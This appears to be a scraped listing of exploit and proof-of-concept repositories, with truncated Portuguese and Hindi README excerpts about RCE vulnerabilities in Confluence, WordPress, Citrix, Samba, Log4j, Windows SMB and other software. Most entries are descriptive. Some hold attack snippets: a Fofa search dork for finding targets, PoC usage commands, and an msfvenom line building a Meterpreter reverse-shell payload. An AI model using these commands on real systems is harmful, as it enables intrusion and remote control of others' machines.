CVE-2020-5902

Resumo Nas versões 15.0.0-15.1.0.3, 14.1.0-14.1.2.5, 13.1.0-13.1.3.3, 12.1.0-12.1.5.1 e 11.6.1-11.6.5.1 do BIG-IP, a Interface de Usuário de Gerenciamento de Tráfego TMUI, também chamada de utilitário de Configuração, possui uma vulnerabilidade de Execução Remota de Código RCE em páginas não...

CVE-2021-26084

CVE-2021-26084 CVE-2021-26084 Execução Remota de Código em Servidores Confluence. Dork Fofa: app="ATLASSIAN-Confluence" Uso Mostra informações de ajuda. python PoC.py Verificação de vulnerabilidade para sites individuais. python PoC.py -u https://1.1.1.1 Execução de comandos. python PoC.py -u...

wp2shell-Wordpress-TOWN

wp2shell por : lucifer0xf Execução Remota de Código Não Autenticada para POC do WordPress Core CVE-2026-63030 + CVE-2026-60137 O exploit wp2shell para a cadeia de vulnerabilidades críticas no núcleo do WordPress. Ele combina um bug de confusão de rota batch da API REST com uma injeção de SQL em...

CVE-2026-21018

Buffer Overflow no SveService Samsung SMR May 2026 SVE-2026-0478CVE-2026-21018 Affected versions: Android 14, 15, 16 Disclosure status: Privately disclosed Out-of-bounds write in SveService prior to SMR May-2026 Release 1 allows local privileged attackers to execute arbitrary code. The patch adds...

CVE-2022-30507-PoC

Descrição execução remota de código RCE através da execução de código JavaScript - Cross-site-scripting XSS e processo de renderização pelo nodeintegration, que é responsável pelo processo de renderização e acesso ao código Node.js Vídeo PoC Referência...

CVE-2023-40355

🚨 Verificador CVE-2023-40355 Bem-vindo ao Verificador CVE-2023-40355! Este script Python foi projetado para testar a vulnerabilidade CVE-2023-40355 em aplicações web. 📋 Descrição A vulnerabilidade de Cross Site Scripting XSS no Axigen versões 10.3.3.0 anteriores a 10.3.3.59, 10.4.0 anteriores a...

CVE-2018-15133

CVE-2018-15133 Laravel Unserialized RCE pip install requests colorama multiprocessing...

CVE-2024-23346

🚀 CVE-2024-23346 Chemistry - HTB यह रिपॉजिटरी हैक द बॉक्स HTB के "Chemistry" मशीन पर उपयोग के लिए एक क्रिस्टलोग्राफ़िक सूचना फ़ाइल CIF प्रदान करती है। CIF फ़ाइल उदाहरण dataExample celllengtha 10.00000 celllengthb 10.00000 celllengthc 10.00000 cellanglealpha 90.00000 cellanglebeta 90.00000...

-CVE-2017-7494-Samba-Exploit-POC

-CVE-2017-7494-Samba-Exploit-POC De acordo com pesquisadores da Rapid7, mais de 110.000 dispositivos aparecem na internet executando versões estáveis do Samba, enquanto 92.500 parecem executar versões instáveis do Samba, para as quais não há correção. Os modelos mais recentes do Samba, incluindo ...

xwiki-cve-2025-24893-poc

PoC de Exploração de RCE no XWiki CVE-2025-24893 Visão Geral Este repositório contém um exploit de Prova de Conceito PoC para a vulnerabilidade de Execução Remota de Código RCE no XWiki identificada como CVE-2025-24893. A vulnerabilidade permite que um atacante execute código arbitrário em uma...

BIT-EternalBlue-for-macOS_Linux

BIT-EternalBlue-for-macOS&Linux Exploração da CVE-2017-7494 para o trabalho final da disciplina de Segurança de Redes. Isso revela a vulnerabilidade de serviços executados com privilégios administrativos no sistema operacional. Este bug é funcional tanto no macOS quanto no Linux. Instalação Antes...

CVE-2019-1367

0x00 Introdução ao Contexto Internet Explorer é um navegador web lançado pela Microsoft. Possui uma enorme base de usuários. Em 23 de setembro, a Microsoft lançou uma atualização de segurança urgente para corrigir uma vulnerabilidade de execução remota de código que afeta o Internet Explorer. A...

CVE-2019-19781

Exploit de Execução Remota de Código CVE-2019-19781 - Citrix Application Delivery Controller & Gateway Exploit de Execução Remota de Código para Citrix Application Delivery Controller e Citrix Gateway CVE-2019-19781 Uso: bash CVE-2019-19781.sh IPDOHOSTVULNERÁVEL COMANDOPARAEXECUTAR ex: bash...

CVE-2025-31200-iOS-AudioConverter-RCE

CVE-2025-31200 – iOS AudioConverterService जीरो-क्लिक आरसीई CVE-2025-31200 का सार्वजनिक खुलासा – Apple के iOS 18.X में विशेष रूप से AudioConverterService घटक के भीतर एक जीरो-क्लिक रिमोट कोड एक्सीक्यूशन RCE कमजोरी। यह कमजोरी iMessage या SMS के माध्यम से वितरित एक दुर्भावनापूर्ण ऑडियो फ़ाइल द्वारा...

CVE-2013-3664_BMP

Estouro de heap em Material BMP RLE4 do Sketchup - CVE-2013-3664 O SketchUp não valida a entrada ao analisar uma textura compactada BMP RLE4 incorporada. A execução de código arbitrário é comprovadamente possível depois que uma textura, miniatura ou imagem de fundo maliciosa desencadeia um estour...

CVE-2023-6553-PoC

CVE-2023-6553 PoC LFI para RCE Execução Remota de Código Não Autenticada no Backup Migration Plugin WordPress. Executar $ python exploit.py O seguinte script PHP é executado. out.txt; ? Referências Execução Remota de Código Não Autenticada Crítica Encontrada no Plugin Backup Migration...

CVE-2022-24500

CVE-2022-24500 Exploração RCE Vulnerabilidade de Execução Remota de Código no Windows SMB Vulnerabilidade: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 passo 1 msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw...

CVE-2021-44228

Análise do CVE-2021-44228 Como funciona? Abaixo está um processo detalhado de um caso de injeção remota explorando a vulnerabilidade log4shell. Primeiro, há 3 partes que precisamos conhecer: 1. O Log4j2 permite o registro de dados usando um recurso chamado substituição de lookup de mensagem , ond...

CVE-2021-22204

CVE-2021-22204 Exploit para CVE-2021-22204 ExifTool - Execução Arbitrária de Código Descrição do Exploit Use este exploit para gerar um payload de imagem JPEG que pode ser usado com uma versão vulnerável do ExifTool para execução de código. Um comando personalizado pode ser fornecido ou um revers...

-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server

-CVE-2024-21683-RCE-em-Confluence-Data-Center-e-Server Esta vulnerabilidade permite que um atacante não autenticado execute código arbitrário remotamente em um servidor Confluence vulnerável. A vulnerabilidade existe devido a uma validação inadequada da entrada fornecida pelo usuário na API REST ...